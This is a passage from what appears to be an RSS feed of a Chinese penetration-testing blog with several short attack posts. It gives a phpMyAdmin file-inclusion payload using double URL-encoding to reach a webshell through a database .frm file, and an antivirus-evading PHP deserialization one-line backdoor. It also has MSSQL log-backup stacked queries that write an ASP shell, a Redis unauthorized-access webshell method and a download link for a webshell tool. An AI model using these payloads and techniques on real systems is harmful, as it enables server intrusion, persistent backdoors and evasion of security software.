<p><a href="/wp-content/uploads/2018/06/1.png"><img loading="lazy" class="alignnone size-full wp-image-374" src="/wp-content/uploads/2018/06/1.png" alt="" width="1109" height="412" /></a></p>
<p>第61行出现了 include $_REQUEST[&#8216;target&#8217;];</p>
<p>很明显这是LFI的前兆，我们只要绕过55~59的限制就行</p>
<p>第57行限制 target 参数不能以index开头</p>
<p>第58行限制 target 参数不能出现在 $target_blacklist 内</p>
<p>找到 $target_blacklist 的定义：</p>
<p><a href="/wp-content/uploads/2018/06/2.png"><img loading="lazy" class="alignnone size-full wp-image-375" src="/wp-content/uploads/2018/06/2.png" alt="" width="847" height="353" /></a></p>
<p>就在 /index.php 的第50行</p>
<p>只要 target 参数不是 import.php 或 export.php 就行，最后一个限制是Core::checkPageValidity($_REQUEST[&#8216;target&#8217;])</p>
<p>找到Core类的checkPageValidity方法：</p>
<p><a href="/wp-content/uploads/2018/06/3.png"><img loading="lazy" class="alignnone size-full wp-image-376" src="/wp-content/uploads/2018/06/3.png" alt="" width="1124" height="884" /></a></p>
<p>定义在了 \libraries\classes\core.php 的第443行</p>
<p>问题出现在了第 465 行的 urldecode()</p>
<p>我们可以利用这个函数绕过白名单检测！</p>
<p>我把 ? 两次url编码为 %253f 即可绕过验证！</p>
<p>&nbsp;</p>
<p><strong>Payload:</strong></p>
<ol class="list-paddingleft-2">
<li><code><span class="">http:</span><span class="">//127.0.0.1/<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini</span></code></li>
</ol>
<p><a href="/wp-content/uploads/2018/06/4.png"><img loading="lazy" class="alignnone size-full wp-image-377" src="/wp-content/uploads/2018/06/4.png" alt="" width="1180" height="912" /></a></p>
<p>本以为漏洞到这就结束了，因为我没有找到phpmyadmin可以进行文件操作来实现Get<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>的地方，过了好几周后突发灵感，想到了一个不用写文件也能拿Shell的方法。</p>
<p>我们都知道，登入phpmyadmin后，数据库就是完全可以控制的了，那我们是否可以把WebShell写入到数据库中然后包含数据库文件？</p>
<p>本地测试了一下，发现如果把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的：</p>
<p><a href="/wp-content/uploads/2018/06/5.png"><img loading="lazy" class="alignnone size-full wp-image-378" src="/wp-content/uploads/2018/06/5.png" alt="" width="587" height="273" /></a></p>
<p><a href="/wp-content/uploads/2018/06/6.png"><img loading="lazy" class="alignnone size-full wp-image-379" src="/wp-content/uploads/2018/06/6.png" alt="" width="977" height="201" /></a></p>
<p>找到对应的数据库文件：</p>
<p><a href="/wp-content/uploads/2018/06/7.png"><img loading="lazy" class="alignnone size-full wp-image-380" src="/wp-content/uploads/2018/06/7.png" alt="" width="614" height="784" /></a></p>
<p>包含之：</p>
<p><a href="/wp-content/uploads/2018/06/9.png"><img loading="lazy" class="alignnone size-full wp-image-381" src="/wp-content/uploads/2018/06/9.png" alt="" width="1319" height="902" /></a></p>
<p>Payload:</p>
<ol class="list-paddingleft-2">
<li><code><span class="">http:</span><span class="">//127.0.0.1/phpmyadmin/index.php?a=phpinfo();&amp;target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm</span></code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP反序列化漏洞与免杀一句话shell</title>
		<link>/web/386.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 25 Mar 2018 07:49:58 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=314</guid>

					<description><![CDATA[Author:vspiders 首发地址：http://blog.csdn.net/vspiders/article/details/79643200 前言 最近和小伙伴们一起研究...]]></description>
										<content:encoded><![CDATA[<blockquote><p>Author:vspiders<br />
首发地址：<a href="http://blog.csdn.net/vspiders/article/details/79643200">http://blog.csdn.net/vspiders/article/details/79643200</a></p></blockquote>
<h1>前言</h1>
<p>最近和小伙伴们一起研究了下<span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span>反序列化漏洞，突发奇想，利用反序列化漏洞写一个一句话木马效果应该蛮不错的。于是便有此文。</p>
<h1>0x01 PHP反序列化</h1>
<p>说起PHP反序列化，那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输，比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。</p>
<h1>0x02 PHP反序列化漏洞</h1>
<p>PHP类中有一种特殊函数体的存在叫魔法函数，magic函数命名是以符号__开头的，比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用，比如__construct当一个对象创建时被调用，__destruct当一个对象销毁时被调用，__toString当一个对象被当作一个字符串使用。<br />
而在反序列化时，如果反序列化对象中存在魔法函数，使用unserialize()函数同时也会触发。这样，一旦我们能够控制unserialize()入口，那么就可能引发对象注入漏洞。</p>
<p>比如上述代码，构造payload为<code>http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}</code><br />
反序列化后在脚本运行结束时就会调用_destruct函数，同时会覆盖test变量输出hello。<br />
<img title="1.png" src="/wp-content/uploads/2018/03/3182795718.png" alt="1.png" /></p>
<h1>0x03 回马枪</h1>
<p>我们可以利用该漏洞点，控制输入变量，拼接成一个序列化对象。然后再构造一个魔法函数，比如在_destruct()函数中调用eval执行序列化对象中的语句。</p>
<p><img title="2.png" src="/wp-content/uploads/2018/03/3659852561.png" alt="2.png" /></p>
<h1>0x04 效果演示</h1>
<p>直接菜刀链接：<br />
<img title="3.png" src="/wp-content/uploads/2018/03/1171221208.png" alt="3.png" /><br />
<img title="4.png" src="/wp-content/uploads/2018/03/3303201368.png" alt="4.png" /><br />
<img title="5.png" src="/wp-content/uploads/2018/03/569121404.png" alt="5.png" /><br />
此木马毕竟是跟正常文件太像，所以<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>效果很不错。这里只是测试了安全狗、D盾，其余自测。</p>
<h1>小结</h1>
<p>而且由此可以引发很多变形，这里只是利用反序列化漏洞，其他漏洞也可以用来当作木马的载体，毕竟cms的代码执行漏洞在被发现之前，他依旧是一个正常到不能再正常的文件。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>分享GetWebShell增强版</title>
		<link>/tools/377.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 11 Mar 2018 14:20:00 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[分享]]></category>
		<category><![CDATA[增强版]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[差异备份]]></category>
		<guid isPermaLink="false">/?p=283</guid>

					<description><![CDATA[差异备份 上传木马 备份得权限 实战使用请移步xz的文章 https://exp10it.cn/index.php/archives/1065/ 下载链接: https://pan...]]>/</description>
										<content:encoded><![CDATA[<p><img src="/wp-content/uploads/2018/03/1350452589.jpg" alt="www.chabug.org" title="www.chabug.org"></p>
<ol>
<li><span class="wpcom_tag_link"><a href="/tags/%e5%b7%ae%e5%bc%82%e5%a4%87%e4%bb%bd" title="差异备份" target="_blank">差异备份</a></span></li>
<li>上传木马</li>
<li>备份得权限</li>
</ol>
<p>实战使用请移步xz的文章 <a href="https://exp10it.cn/index.php/archives/1065/">https://exp10it.cn/index.php/archives/1065/</a></p>
<p>下载链接: <a href="https://pan.baidu.com/s/1Ds1fjUjpn2AqmRwaOtfMkA">https://pan.baidu.com/s/1Ds1fjUjpn2AqmRwaOtfMkA</a> 密码: nqgq</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>mssql log 备份拿 shell</title>
		<link>/web/376.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 11 Mar 2018 14:13:57 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[备份]]></category>
		<guid isPermaLink="false">/?p=281</guid>

					<description><![CDATA[;alter database xxxx set RECOVERY FULL-- ;create table cmd (a image)-- ;backup log xxxx to...]]></description>
										<content:encoded><![CDATA[<pre><code>;alter database xxxx set RECOVERY FULL--
;create table cmd (a image)--
;backup log xxxx to disk = 'd:/web/1.bak' with init--
;insert into cmd (a) values ('')--
;backup log xxxx to disk = 'd:/web/2.asp'--</code></pre>
<p>需要支持 Stacked Queries</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>redis 未授权 getshell</title>
		<link>/web/369.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 06 Mar 2018 09:19:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[redis]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[未授权]]></category>
		<guid isPermaLink="false">/?p=273</guid>

					<description><![CDATA[开学了，文章更新会慢，见谅。 @X1r0z原文 利用 redis 获取 webshell 端口 6379 server telnet 连接 redis 配置里有 dir 和 dbf...]]></description>
										<content:encoded><![CDATA[<blockquote><p>开学了，文章更新会慢，见谅。<br />
<a href="https://exp10it.cn/index.php/archives/1052/">@X1r0z原文</a></p></blockquote>
<p>利用 <span class="wpcom_tag_link"><a href="/tags/redis" title="redis" target="_blank">redis</a></span> 获取 web<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span></p>
<p>端口 6379</p>
<p>server<br />
<img title="1.jpg" src="/wp-content/uploads/2018/03/1863303020.jpg" alt="1.jpg" /><br />
telnet 连接</p>
<p>redis 配置里有 dir 和 dbfilename</p>
<p>dir 存储路径 dbfilename 存储文件名<br />
<img title="2.jpg" src="/wp-content/uploads/2018/03/3775888799.jpg" alt="2.jpg" /><br />
save 保存<br />
<img title="3.jpg" src="/wp-content/uploads/2018/03/2062167655.jpg" alt="3.jpg" /><br />
写 webshell</p>
<p>config set dir 路径<br />
config dbfilename 文件名<br />
set web 内容<br />
save<br />
<img title="4.jpg" src="/wp-content/uploads/2018/03/1393395390.jpg" alt="4.jpg" /><br />
访问 info.php<br />
<img title="5.jpg" src="/wp-content/uploads/2018/03/230823239.jpg" alt="5.jpg" /><br />
另外 config set 不存在的 dir 会报错<br />
<img title="6.jpg" src="/wp-content/uploads/2018/03/184389156.jpg" alt="6.jpg" /><br />
可以写个脚本爆破路径</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
